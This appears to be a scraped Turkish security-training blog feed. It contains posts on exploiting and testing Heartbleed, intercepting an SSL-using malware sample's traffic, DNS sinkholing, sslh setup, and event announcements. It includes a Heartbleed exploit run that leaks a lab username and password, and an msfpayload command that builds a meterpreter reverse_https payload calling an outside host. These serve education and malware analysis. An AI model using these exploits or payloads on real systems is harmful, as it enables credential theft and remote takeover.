    [*] Auxiliary module execution completed



    Heartbleed İstismar Scripti


    Açıklığı tespit ettikten sonra, istismar etmek için https://github.com/musalbas/heartbleed-masstest/blob/master/ssltest.py adresinde bulunan exploit kullanılabilir.Örnek bir uygulama aşağıdaki gibidir.


    # python ssltest.py 6.6.6.251 -p 443
    username=bg
    0290: 65 6E 76 70 6E 26 70 61 73 73 77 6F 72 64 3D 50 alab&password=P
    02a0: 64 62 37 34 63 70 38 63 6C 72 A9 4B 76 27 B9 A8 as12cp8bga.Kv'..
    02b0: 9D 29 59 C4 54 4A 16 06 75 3B 00 00 00 00 00 00 .)Y.TJ..u;......
    username: bgalab
    pass: Pas12cp8bga


    Pacemaker ile İstemci(Browser) Sistemlerin HeartBleed Testi
    OpenSSL’de bulunan bu güvenlik açığı, sadece sunucu tarafını etkilemekle kalmayıp sunucu ile iletişime geçen istemcileride etkilemektedir. Böyle bir durumdan etkilenip etkilenmediğinizi https://github.com/Lekensteyn/pacemaker adresinde bulunan araç ile test edebilirsiniz.


    Önce sunucuyu çalıştırın.
    python pacemaker.py


    Daha sonra istemci bilgisayar üzerinde https://localhost:4433/  adresine gidin.
    curl https://localhost:4433/


    İstemci bağlantı hatası verecektir.
    curl: (35) Unknown SSL protocol error in connection to localhost:4433


    Eğer açıklıktan etkilenmemiş iseniz sunucu çıktısı aşağıdaki gibi olacaktır.
    root@kali:~/Desktop/pacemaker# python pacemaker.py
    Listening on :4433 for tls clients
    Connection from: 127.0.0.1:36725
    Did not receive heartbeat response! [Errno 104] Connection reset by peer
    Possibly not vulnerable


    Eğer açıklıktan etkilenmiş iseniz sunucu çıktısı aşağıdaki gibi olacaktır.
    Connection from: 127.0.0.1:40738
    Client returned 65535 (0xffff) bytes
    0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  ...@....-..R4.m.
    0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
    0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
    0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00  ................
    0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    *
    4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
    8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00  .............@..
    ...
    e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42  ....`_....~...3B
    e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00  ?...0...........
    fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ...............


    Eğer kendi sistemlerinizde bu testi gerçekleştirmek isterseniz aşağıdaki adımları izleyebilirsiniz.


    İlk olarak pacemaker.py scriptini çalıştırın.
    python pacemaker.py


    Daha sonra yine  istemci bilgisayar üzerinden aşağıdaki komutu çalıştırın.
    wget -O /dev/null https://google.com https://localhost:4433



    Eğer açıklıktan etkilenmiş iseniz çalıştırılan pacemaker.py scripti aşağıdaki gibi bir çıktı verecektir.


    Connection from: 127.0.0.1:41914
    Client returned 65535 (0xffff) bytes
    0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  ...@....-..R4.m.
    0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
    0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
    0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74  ......e..Content
    0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c  -Type: text/html
    0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d  ; charset=UTF-8.
    ...
    0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f  .......-https://
    0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d  www.geotrust.com
    0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73  /resources/repos
    0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01  itory0...*.H....
    0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12  ........v..nNK..
    0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2  .0.........q~f..
    0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d  ..;.....N.C8..0}
    0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f  ..U..j.6...Hf.m.
    0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38  ...G..Z\s....2.8
    0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5  ..4.........I...
    0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f  ...6..Vo...sc...
    0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1  {>".=.._8t...PN.
    0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00  ...a..?.........
    0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    *
    4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
    ...
    ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36  ....\.<.....ISO6
    ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32  46-SE//.SEN_8502
    fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00     00_B//.........

    SSL Kullanan Zararlı Yazılımın Trafiğini Yönlendirme ve İnceleme

    $
    0
    0
    Ağ trafiği analizi, zararlı yazılım analizinin önemli bir bölümüdür. Günümüz zararlılarının komuta merkeziyle şifreli iletişim kurma eğilimi düşünüldüğünde bu trafiği şifresiz olarak elde edebilmenin gerekliliği de anlaşılmaktadır. Yazıda SSL kullanan bir zararlının trafiğinin nasıl analiz edilebileceği komuta merkeziyle HTTPS kullanarak iletişim kuran zararlı örneği üzerinden anlatılmıştır.


    Kullanılan Araçlar:
    • Burp Suite
    • iptables
    • Wireshark
    • msfpayload


    Zararlı analizinin diğer birçok adımında olduğu gibi ilk olarak güvenli ve kontrol edilebilir bir lab ortamı sağlamakla işe başlanılır. Bunun için zararlının çalıştırılacağı makine(örnekte WinXP) ve trafik analizi için kullanılacak makine(örnekte Kali Linux) tercihen host-only bir ağ arayüzü ile bağlanır. WinXP(örnekte: 10.10.10.50) varsayılan ağ geçidi olarak Linux makineyi(örnekte: 10.10.10.1) kullanacak şekilde ayarlanır.

    untitled.JPG

    Tabii aynı işlevi görecek alternatif yapılandırmalar da kullanılabilir.


    Devamında Linux makineyi gateway olarak kullanabilmek için paket yönlendirme ve IP masquerade özellikleri aktif edilir. Terminalde
    “sysctl -w net.ipv4.ip_forward=1”    komutu ile paket yönlendirme aktif edilir.
    “sysctl -a | grep net.ipv4.ip_forward”    komutu ile değerin 1 olarak olduğu doğrulanabilir.
    “iptables -t nat -A POSTROUTING -j MASQUERADE”        komutu ile masquerade özelliği aktif edilir. Bu aşamada linux sistemin internet(veya başka bir ağa) erişimi varsa WinXP üzerinden de erişimin gerçekleştirilebiliyor olması gerekir.


    Yine iptables kullanılarak analiz edilmek istenen bağlantının kullandığı portlar trafiği inceleyip gerektiğinde değiştirebilmek için kullanılacak uygulamaya (Burp Suite) yönlendirilir. Bunun için
    “iptables -t nat -A PREROUTING -m multiport -p tcp --dport 80,443 -i vmnet2 -j REDIRECT --to-ports 8080”    veya eşdeğer bir komut kullanılabilir. Komut kısaca iptables’a vmnet2 (1. adımda bahsedilen host-only ağ arayüzünün adı) arayüzünden gelen ve hedefi 80 veya 443 portları olan TCP bağlantılarını 8080 portuna yönlendirecek bir kural ekliyor. Yapılan işlemler sonucu iptables’a eklenen kurallar
    “iptables -nL -t nat”    komutu ile görülebilir.


    Chain PREROUTING (policy ACCEPT)
    target     prot opt source               destination         
    REDIRECT   tcp  --  0.0.0.0/0            0.0.0.0/0            multiport dports 80,443 redir ports 8080


    Chain INPUT (policy ACCEPT)
    target     prot opt source               destination         


    Chain OUTPUT (policy ACCEPT)
    target     prot opt source               destination         


    Chain POSTROUTING (policy ACCEPT)
    target     prot opt source               destination         
    MASQUERADE  all  --  0.0.0.0/0            0.0.0.0/0


    Daha sonra Burp Suite çalıştırılıp “Proxy” sekmesinin “Options” alt sekmesi açılır. “Proxy Listeners” bölümünden “Add” tuşuna basılıp ayarları şu şekilde yapılır.


    Binding->Bind to Port: 8080
        ->Specific Address: 10.10.10.1
    Request handling-> Support invisible proxying işaretli
    Certificate->Generate CA-signed per-host certificates seçili


    Bu ayarlar örnek olup farklı durumlar veya amaçlar için değişik ayarlar yapılması mümkündür. Daha sonra ayarlar kaydedilip yeni kaydedilen listenerın “Running” kutusu işaretlerek çalıştırılır. Bu aşamada yapılan ayarlar WinXP üzerinden bir web tarayıcısı yardımıyla doğrulanabilir.


    Son olarak analiz edilmek istenen zararlı WinXP’de çalıştırılarak trafiği BurpSuite üzerinde incelenebilir. Örnekte Metasploit’in reverse_https payloadı çalıştırıldığında yaptığı HTTP GET isteği burp ile trafiğin tamamı da wireshark ile yakalanmıştır. Payloadın çalıştırılabilir hali msfpayload yüklü bir makinede  “msfpayload windows/meterpreter/reverse_https LHOST=100.200.111.22 LPORT=443 X > rhttps.exe”     komutu ile elde edilebilir.

    Screenshot from 2014-04-16 01:16:07.png


    Screenshot from 2014-04-16 01:16:23.png

    Örneğin aksine bazı zararlılar BurpSuite’in sağladığı sertifikayı kabul etmeyebilirler. Bu durumda zararlıya çalışma anında bir debugger aracılığıyla müdahale ederek sertifikayı kabul etmesini sağlamak bir çözüm olabilir. 

    Onur ALANBEL <onur.alanbel@bga.com.tr>

    Web ve DDoS Saldırılarına Karşı Proaktif Savunma Çözümleri Etkinliği (Ankara)

    $
    0
    0
    Günümüz siber güvenlik dünyasının temelini oluşturan iki temel bileşenden biri uygulama güvenliğidir. Uygulamalar arka planda çalışan protokol ne kadar güvenli olursa olsun geliştiricisinin güvenlik hakkındaki bilgi ve tecrübesi kadar güvenli olacaktır. Uygulama geliştirme süreçlerinde alınmayan temel önlemler uygulama calışır duruma getirildiğinde ciddi güvenlik zafiyetlerine yol açmaktadır. 
    Siber dünya basit bir uygulama hatasından tüm sistemin, ağın veya veritabanının ele geçirildiği örnekleriyle doludur. BGA(Bilgi Güvenliği AKADEMİSİ) ve LOGICOM işbirliğiyle 30 Nisan 2014 tarihinde Mövenpick Otelde düzenlenecek olan “Uygulama Güvenliğinde Proaktif Yaklaşım” etkinliğinde web uygulama güvenliği konusu tüm yönleriyle ele alınarak katılımcılara konu hakkında bilgi aktarımı sağlanacaktır

    Etkinlik sadece kurumsal firmalara açıktır. Etkinliğe kayıt olmak icin lcv@bga.com.tr adresine e-posta gönderebilirsiniz.
    Program detayları aşağıda yer almaktadır:


    Tek Port Üzerinden HTTPS, SSH, OpenVPN Servislerinin Hizmet Vermesi

    $
    0
    0
    Elinizde kullanılabilir tek bir ip adresi var ve bu ip adresi üzerinde aynı portu kullanan birden fazla uygulama kullanmak istiyorsanız tek portta protokol başlık bilgisine göre paketleri ayırtedebilen bir yazılım kullanmak sorunu çözecektir. SSHL bu amaçla geliştirilmiş bir yazılımdır.  SSHL belittiğiniz bir portu dinler  ve bu porta gelen bağlantı isteklerini inceleyerek isteğin hangi protokole ait olduğunu tespit ettikten sonra bağlantıyı ilgili servise yönlendirme işlemini gerçekleştirir.
    Bu şekilde örneğin tcp 443 üzerinden HTTPS, OpenVPN ve SSH himetlerini aynı anda sunabilirsiniz. Bu yazı özellikle bazı durumlar için gayet kullanışlı bir araç olan sslh ile ilgili kurulum, yapılandırma ve testleri içerecek şekilde detaylı bilgi içermektedir.
    SSHL Nedir ?
    Default olarak HTTP, SSL, SSH, OpenVPN, tinc, XMP protokollerini tespit edebilen ve farklı protokoller için de kendi regex pattern’lerinizi yazmanıza da izin veren sslh’ın yukarıda belirtildiği  gibi tcp 443 üzerinde hem HTTPS hem de SSH servisi vermek gibi yaygın bir kullanım şekli var. Bu şekilde örneğin firewall üzerinden sadece tcp 80 ve 443 geçişi olan bir sunucuya SSH üzerinden erişmek üzere sslh kullanılabilir. Bir başka deyişle firewall arkasında bulunan ve SSH portuna erişim olmayan bir sisteme, 443 gibi (muhtemelen) firewall tarafından engelli olmayan bir port üzerinden erişmek için sslh kullanabilirsiniz.

    Çalışma Prensibi

    Verdiğimiz örneğe bağlı kalarak sslh’ı 443 üzerinden çalıştıracağımızı ve HTTPS ile SSH hizmeti vereceğimizi düşünelim. Bu senaryoda, -detaylarını yapılandırma kısmında anlatacağım üzere - sslh’ı kullanmak istediğimiz ağ arayüzününün  443. portunu dinleyecek şekilde yapılandırıyoruz. Sonrasında HTTPS servisini localhost:443 ve SSH servisini localhost:22′yi dinlemeleri üzere ayarlayıp, sslh’a HTTPS’in 127.0.0.1 443′de, SSH’ın da 127.0.0.1 22′de olduğunu söyleyerek uygulamayı çalıştırıyoruz.

    Bu şekilde ilgili hosta gelen SSH bağlantıları 22. porta yönlendirilirken HTTPS bağlantıları localhost 443. porta yönlendiriliyor. Yani sslh proxy görevi görevi görüyor. Uygulamanın servisleri nasıl ayırt ettiği konusu ise şu şekilde cereyan ediyor:

    Protokol Tespiti

    sslh temel olarak gelen bağlantı isteklerinin ilk bir kaç byte’ını okuyarak bağlantı protokolünü tespit etmeye çalışıyor. Örnek olarak SSH bağlantılarında sunucu ile client arasında gerçekleşen ilk iş iki ucun birbirine ssh versiyonlarını plain-text olarak ‘SSH-x.0′ şeklinde bildirmelerinden ibarettir. İşte sslh da bağlantının SSH olup olmadığını anlamak için ilk paketlerin içerisinde “SSH-” stringini arıyor ve bulması durumunda bağlantıyı ilgili servisin portuna yönlendiriyor. HTTPS trafiği için ise benzer bir şeklilde trafik başlangıcında ClientHello (0×16) ve TLS versiyon bilgisinin (0×0301) olup olmadığına bakıyor.

    Diğer protokoller için örneğin XMPP testinde “jabber” ibaresi, HTTP trafiği için “HTTP” ibaresi ya da versiyon belirtilmemişse OPTIONS, GET vs. gibi methodların olup olmadığına bakarak yönlendirmeyi yapıyor.
    sslh trafik tespiti için öntanımlı 2 saniye timeout süresi kullanır bu süre zarfında protokol tespit edilemezse trafik, yapılandırma dosyasında belirlenen ilk protokole (default kurulumda SSH’a ) yönlendirilir. Örnek olarak  versiyon bilgisini sunucuya bildirmeyen bir client üzerinden gelen SSH bağlantısı sslh tarafından tespit edilemeyeceği için bu timeout mekanizması önemlidir.

    Kurulum ve Yapılandırma
    sslh’ın RHEL, Debian ve FreeBSD tabanlı sistemler için önceden derlenmiş paketleri bulunuyor ve ilgili sistemlerin paket yöneticileri üzerinden kurulabiliyor. Ancak kaynak koddan derleyerek kurmak da çok kolay olduğu için burada bu şekilde kurulumun nasıl yapılabileceğinden bahsedeceğim.

    Gereksinimler

    sslh, libconfig ve libwrap paketlerine ihtiyaç duyuyor; bu nedenle öncesinde bu paketleri sisteminize kurmanız gerekiyor. Bu işlem için aşağıdaki adımları izleyin:
    Debian/Ubuntu tabanlı sistemler:
    # apt-get install libwrap0-dev libconfig8-dev
    RHEL/CentOS tabanlı sistemler:
    # yum install libconfig libconfig-devel
    Böylece sistem sslh kurulumu için hazır hale geliyor.

    Kaynak Kod’dan Kurulum

    Şimdi, http://www.rutschle.net/tech/sslh.shtml adresinden sslh’ı indireceğiz. Şu anki son sürüm 1.16:
    # wget http://www.rutschle.net/tech/sslh-v1.16.tar.gz
    Sonrasında da paketi açarak kurulumu gerçekleştiriyoruz:
    # tar xvfz sslh-v1.16.tar.gz
    # cd sslh-v1.16
    # make install
    Make install dediğiniz zaman ilgili dizinde sslh-fork ve sslh-select isimli iki farklı sslh versiyonu oluşturulur.
    İlk versiyon olan sslh-fork her yeni bir bağlantı isteği yeni bir sslh süreci oluşturur. Bu versiyon iyi test edildiğinden ve stabil olduğundan dolayı kurulum sırasında /usr/local/sbin/sslh ismi ile sisteme kopyalanır ve default olarak kullanılır. Ancak bu sürüm, çok fazla istek alan sunucular için çok sayıda süreç oluşmasına ve sistem kaynaklarının bu oranda kullanılmasına yol açmaktadır. Çok çok fazla sayıda bağlantı karşılamak için bu anlamda ideal olmayabilir.
    İkinci versiyon olan sslh-select ise daha az test edilmiş ve yeni bir sslh versiyonudur ancak  tüm bağlantları tek bir süreç üzerinden handle eder ve her bir bağlantının sadece 16byte’lık bir sistem kaynağı maliyeti vardır. Fakat, sslh bir şekilde kapanırsa ve ssh için kullanıyorsanuz sunucuya uzaktan erişiminiz kesilebilir. Yine de bu sürümü kullanmak isterseniz kendisini /usr/local/sbin/ dizinine sslh ismi ile kopyalayabilirsiniz.

    Yapılandırma

    Şimdi ilk olarak scripts dizinindeki init scriptini sslh ismi ile init.d’nin altına kopyalayıp, sslh servisini startup’a ekleyeceğiz:
    Debian/Ubuntu Sistemler:
    # cp scripts/etc.init.d.sslh /etc/init.d/sslh
    # update-rc.d sslh defaults
    RHEL/CentOS Sistemler:
    # cp scripts/etc.init.d.sslh /etc/init.d/sslh
    # chkconfig sslh on
    RHEL sistemlerde ayrıca, /etc/init.d/sslh dosyası içerisindeki “PREFIX=” satırını aşağıdaki şekilde güncelliyoruz:
    PREFIX=/usr/local

    Ana Yapılandırma

    Şimdi ana yapılandırma ayarlarına geçeceğiz. Sslh’ın ana yapılandırma dosyası /etc/default/sslh’dır. Bu dosya Debian ve RHEL sistemlerde mantık aynı olsa da farklılık göstermektedir. Bu yüzden ikisinden ayrı ayrı bahsedeceğim.
    Debian/Ubuntu Sistemler:
    İlgili dosyanın içeriği aşağıdaki gibibir ve düzenlenmesi gereken alanlar bold ve kırmızı renk ile işaretlenmiştir:
    # Default options for sslh initscript
    # sourced by /etc/init.d/sslh

    # Disabled by default, to force yourself
    # to read the configuration:
    # - /usr/share/doc/sslh/README.Debian (quick start)
    # - /usr/share/doc/sslh/README, at "Configuration" section
    # - sslh(8) via "man sslh" for more configuration details.
    # Once configuration ready, you *must* set RUN to yes here
    # and try to start sslh (standalone mode only)

    RUN=no

    # binary to use: forked (sslh) or single-thread (sslh-select) version
    DAEMON=/usr/sbin/sslh

    DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
    ilk olarak RUN bölümünü “yes” olarak düzenliyoruz.
    RUN=yes
    –listen 0.0.0.0:443 bölümü SSLH’ın hangi portu hangi ip üzerinden dinleyeceğinin belirleneceği yerdir. Biz burada sslh’i sistemimizin gerçek ipsine bind edeceğiz, örnek olarak ip adresiniz 1.1.1.1 ise bu alanı 1.1.1.1:443 olarak set ediyoruz:
    Not: Bu noktada web sunucunuzu 443. port için sadece 127.0.0.1 üzerinden hizmet vermesi için yapılandırmayı unutmamanız gerekiyor. Aksi halde 443. port sslh tarafından kullanımda olduğu için web sunucunuz hata verecekir.
    –ssh 127.0.0.1:22 ise 443 üzerinden gelen ssh isteklerinin 127.0.0.1:22′ye yönlendirilmesini söylüyor.
    –ssl 127.0.0.1:443 ise aynı mantıkla SSL/TLS bağlantılarının 127.0.0.1:443′e atılmasını ifade ediyor.
    Değişiklikleri tamamladıktan sonra, sslh’ı start ediyoruz:
    # /etc/init.d/sslh start
    RHEL/CentOS Sistemler
    RHEL tabanlı sistemlerde ise mantık aynı olmakla birlikte yapılandırma dosyası aşağıdaki gibidir:
    LISTEN=ifname:443
    SSH=localhost:22
    SSL=localhost:443
    USER=nobody
    PID=/var/run/sslh.pid
    Bu dosya içerisinde en üstte, SSLH’ın hangi ip ve port üzerinden hizmet vereceğini belirtiyoruz ki yukarıda da bahsettiğim gibi bu alanı sistemimizin external ip’si olarak set ediyoruz. Örnek olarak ip adresiniz 1.1.1.1 ise bu alanı 1.1.1.1:443 olarak set ediyoruz:
    LISTEN=1.1.1.1:443
    Not: Bu noktada web sunucunuzu 443. port için sadece 127.0.0.1 üzerinden hizmet vermesi için yapılandırmayı unutmamanız gerekiyor. Aksi halde 443. port sslh tarafından kullanımda olduğu için web sunucunuz hata verecekir.
    Sonrasında da debian sistemler kısmında detaylarına değinildiği şekilde ssh ve ssl servislerinin localhost 22 ve 443 üzerinden verilmesi için ilgili kısımları olduğu şekilde bırakıyoruz.
    Son olarak servisi start edelim:
    # /etc/init.d/sslh start
    Evet, kurulum ve yapılandırma kısmı bu şekilde tamamlanıyor. Şimdi sistemi test edelim:

    Test

    Şu anda servis çalışıyor ve netstat ile baktığımız zaman aşağıdaki gibi bir çıktı alıyoruz:
    # netstat -antp |grep LISTEN
    tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1522/sshd
    tcp 0 0 127.0.0.1:443 0.0.0.0:* LISTEN 1794/httpd
    tcp 0 0 1.1.1.1:443 0.0.0.0:* LISTEN 1780/sslh
    Görüldüğü gibi 1.1.1.1:443′i sslh dinlerken, 127.0.0.1:443′ü olması gerektiği gibi httpd dinliyor ve ssh da 0.0.0.0:22 üzerinden hizmet veriyor.
    Şimdi dışarıdan 1.1.1.1′e ssh bağlantısı kurarsanız isteği sslh karşılayacak ve ssh servisine iletecektir.
    Tüm detaylar için https://github.com/yrutschle/sslh adresine göz atabilirsiniz.
    Cihat IŞIK < cihat.isik@bga.com.tr >

    DNS Sinkhole İle Zararlı Yazılım Tespiti ve Engelleme

    $
    0
    0
    Zararlı yazılımların komuta merkezi ile haberleşmesini engellemek veya zararlı bulaşmış sistemleri tespit etmek amacıla DNS sinkhole yöntemi kullanılabilmektedir. Sinkhole yöntemi ayrıca botnet’lerin etkisinin tespiti veya etkisizleştirilmesi amacıyla da kullanılabilmektedir. Yazıda DNS sinkhole yönteminin kurumsal ağlarda zararlı yazılımları engelleme amaçlı kullanımı ele alınmıştır.

    Yöntemin mantığı, DNS isteklerine sahte cevaplar vererek zararlının erişmek istediği alanadının gerçek IP adresini çözmesini engellemektir. Bunun için örnek bir yapılandırma aşağıdaki adımlar takip edilerek elde edilebilir.
    Linux kurulu bir sisteme (örnekte Ubuntu)
    “apt-get install bind9”        komutu ile Bind DNS sunucusu kurulur. Sonra sırasıyla
    “mkdir /etc/bind/zones”
    “nano /etc/bind/zones/malware.db”    komutları çalıştırılıp blacklist.host dosyasının içeriğine aşağıdaki gibi bir kayıt girilir.

    $TTL    3600
    @            IN      SOA     ns1.malware.com. root.malware.com. (2012041615 10800 3600 604800 86400)
               IN      NS      ns1.malware.com.
               IN      NS      ns2.malware.com.
               IN      A       192.168.41.1
    *         IN         A       192.168.41.1

    Yapılandırılmaya bağlı olarak son iki satırdaki 192.168.41.1 yerine zararlıların yönlendirileceği adres girilir. Ayrıca yeni oluşturulan zones dizinin bind kullanıcısı için erişim haklarının “rwx” şeklinde olması gerekmektedir. Bu işlem için
    “chown bind /etc/bind/zones”       
    “chmod u+rwx /etc/bind/zones”        komutları kullanılabilir.
    Ayrıca
    “named-checkzone malware.com /etc/bind/zones/malware.db”    komutu ile oluşturulan kaydın doğruluğu kontrol edilebilir.

    Daha sonra
    “/etc/bind/named.conf.local”    dosyasına sinkhole uygulanmak istenilen alanadları aşağıdaki formatta eklenir.

    zone "malware.com" {
          type master;
          file "/etc/bind/zones/malware.db";
          };

    zone "malicious.com" {
      type master;
      file "/etc/bind/zones/malware.db";
      };


    Son olarak
    “service bind9 restart”        komutu ile bind9 servisi yeniden başlatılarak kullanıma hazır hale getirilir. Bu bölümde Bind DNS sunucusunun sadece sinkhole olarak yapılandırılması anlatılmış olup, sıradan DNS isteklerine geçerli cevaplar verebilmesi için gerekli ayarların bulunduğu ağ yapılandırmasına göre ayrıca yapılması gerekmektedir.

    DNS sunucusunun düzgün çalışıp çalışmadığı dnsutils paketi kurulu bir Linux sistemden
    “dig malware.com @192.168.41.142”    komutu ile kontrol edilebilir. Buradaki malware.com’un karalistedeki bir adres, 192.168.41.142’nin ise DNS sunucusunun adresi olması gerekmektedir. Örnekteki yapılandırma ile bu komutun çıktısı şu şekildedir.

    ; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> malware.com @192.168.41.142
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50892
    ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

    ;; QUESTION SECTION:
    ;malware.com.            IN    A

    ;; ANSWER SECTION:
    malware.com.        3600    IN    A    192.168.41.1

    ;; AUTHORITY SECTION:
    malware.com.        3600    IN    NS    ns2.malware.com.
    malware.com.        3600    IN    NS    ns1.malware.com.

    ;; ADDITIONAL SECTION:
    ns1.malware.com.    3600    IN    A    192.168.41.1
    ns2.malware.com.    3600    IN    A    192.168.41.1

    ;; Query time: 2 msec
    ;; SERVER: 192.168.41.142#53(192.168.41.142)
    ;; WHEN: Wed Apr 23 13:23:45 2014
    ;; MSG SIZE  rcvd: 113

    Cevapta görüldüğü üzere DNS isteği yapıldığında adres 192.168.41.1 olarak çözülmüştür.

    Windows makinenin ağ ayarlarından DNS sunucusu 192.168.41.142 olacak şekilde değişiklik yapılıp karalistedeki bir adrese erişilmeye çalışılarak da doğrulama yapılabilir.

    Capture.PNG


    Karalisteye alınması gereken alanadlarına “http://www.malwaredomains.com/?page_id=66” adresinden erişilebilir. Karalistedeki alanadları “0.0.0.0” gibi erişilemez IP adresleri ile eşleştirilerek erişim engellenebilir veya örnekte olduğu gibi yerelde bir makineye yönlendirilip bu makinenin trafiği incelenerek zararlı bulaşan sistemler tespit edilebilir. Zararlı trafiğinin detaylı incelenmesi aşamasında “Zararlı Trafiğinin Sahte Servislerle Yönetimi” ve “SSL Kullanan Zararlı Yazılım Trafiğini Yönlendirme ve İnceleme” yazılarından faydalanılabilir.

    Kaynaklar:
    https://www.sans.org/reading-room/whitepapers/dns/dns-sinkhole-33523


    Onur ALANBEL < onur.alanbel@bga.com.tr >

    BGA Bilişim Güvenliği Yaz Staj Okulu 2014 Sonuçları

    $
    0
    0
    Bilgi Güvenliği AKADEMİSİ yaz staj dönemi için yaptığımız değerlendirme çalışmaları tamamladık. Bu yıl diğer yıllara oranla daha fazla başvuru olması ve başvuruların herbirinin birbirinden değerli olması nedeniyle staja kabul edilecek öğrenciler konusunda yapılan değerlendirme çalışması uzun sürmüştür.
    Toplam 85 başvuru içerisinden  5 öğrenci BGA Bilişim Güvenliği Staj okulu için seçilmştir.  Staj değerlendirmelerinde bilişim güvenliği alanında yapılan çalışmalar, staj yapma isteğinin ifadesi, Linux bilgisi ve referanslar ana kriterler olarak dikkate alınmıştır.
    2014 yılı Bilişim Güvenliği Staj Okulu Listesi


    Üniversite
    Ad
    Soyad
    Erciyes Üniversitesi
    Ceylan
    BOZOĞULLARI
    Karadeniz Teknik Üniversitesi
    Halit
    ALPTEKİN
    Kocaeli Üniversitesi
    Ahmet
    HAN
    Hacettepe Üniversitesi
    Mehmet Can
    DEMİREL
    Sakarya Üniversitesi
    Harun
    TAMOKUR


    Yaz staj okuluna katılacaklara hafta içi süreç ile ilgili detay bilgi gönderilecektir.

    Linux Akademi: Linux Tabanlı Ağ, Sistem ve Güvenlik Eğitimleri ve Danışmanlık Hizmetleri

    $
    0
    0
    Linux AKADEMİ, 2013 yılında Türkiye’deki kamu kurumları ve özel şirketlere Linux ve açık kaynak kodlu ağ, sistem ve güvenlik çözümleri ve eğitimleri sunmak üzere kurulmuştur. Temel amacı kurumların ihtiyaç duyduğu ağ ve güvenlik çözümlerinin daha esnek ve ucuz maliyetle kotarılması ve siber  güvenliğinin ön  planda olduğu ağ altyapılarında açık kaynak sistemlerin efektif kullanımının sağlanmasıdır.
    Linux AKADEMİ’nin başlıca faaliyet alanlarını, Snort/Suricata IPS, pfSense bütünleşik güvenlik duvarı, OSSEC, ModSecurity, Zimbra, Nagios, Zabbix gibi alanında stabil çalışır açık kaynak çözümlerin kurulumu, yönetimi, desteği  ve Linux eğitimleri oluşturmaktadır.

    Linux eğitimleri ve verilen hizmetler konusunda detay bilgi www.linuxakademi.com.trsayfasından erişilebilir.

    APT - Gelişmiş Hedef Odaklı Siber Tehditler ve Çözüm Önerileri Etkinliği

    $
    0
    0
    Uluslararası arenada son yıllarda Siber Güvenlik dünyasını en fazla meşgul eden konuların başında APT kavramı ve saldırıları gelmektedir. Klasik saldırı yöntemlerinden oldukça farklı yeni nesil bu saldırı tipinde işini profesyonel ve genellikle ticari hedefler için yapan siber saldırganlar ve gelişmiş siber silahlar söz konusu olduğu için klasik siber savunma yöntemleri ve araçları yetersiz kalmaktadır.

    Yapılan araştırmaların sonuçları APT saldırılarına hedef olan firmaların %100'ünün bu saldırılardan bir şekilde etkilendiği yönündedir. Bunun temel nedeni APT saldırılarını gerçekleştiren siber saldırganların bilgi birikimi, kullandıkları araçlar ve yöntemlerin günümüz siber savunma sistemleri ve uzmanları karşısındaki tartışmasız üstünlüğüdür.

    8 Mayıs 2014 Perşembe günü Point Otel'de BGA ve Fireeye işbirliğiyle düzenlenecek olan "Güvenlik Yeniden Tasarlandı!" başlıklı APT etkinliğinde APT saldırılarının üç farklı bakış açısıyla incelenmesi ve bu konuda kurumlara önerilerin sunulması planlanmaktadır.
    Gerçek bir APT saldırısı nasıl geliştirilir, hangi  aşamalardan oluşur, yöntem ve araçları nelerdir ve hedef kurum tarafında hangi sistemler kullanılarak yakalanabilir/izlenebilir sorularının cevaplarını almak isterseniz sizleri de etkinliğimize bekleriz. 


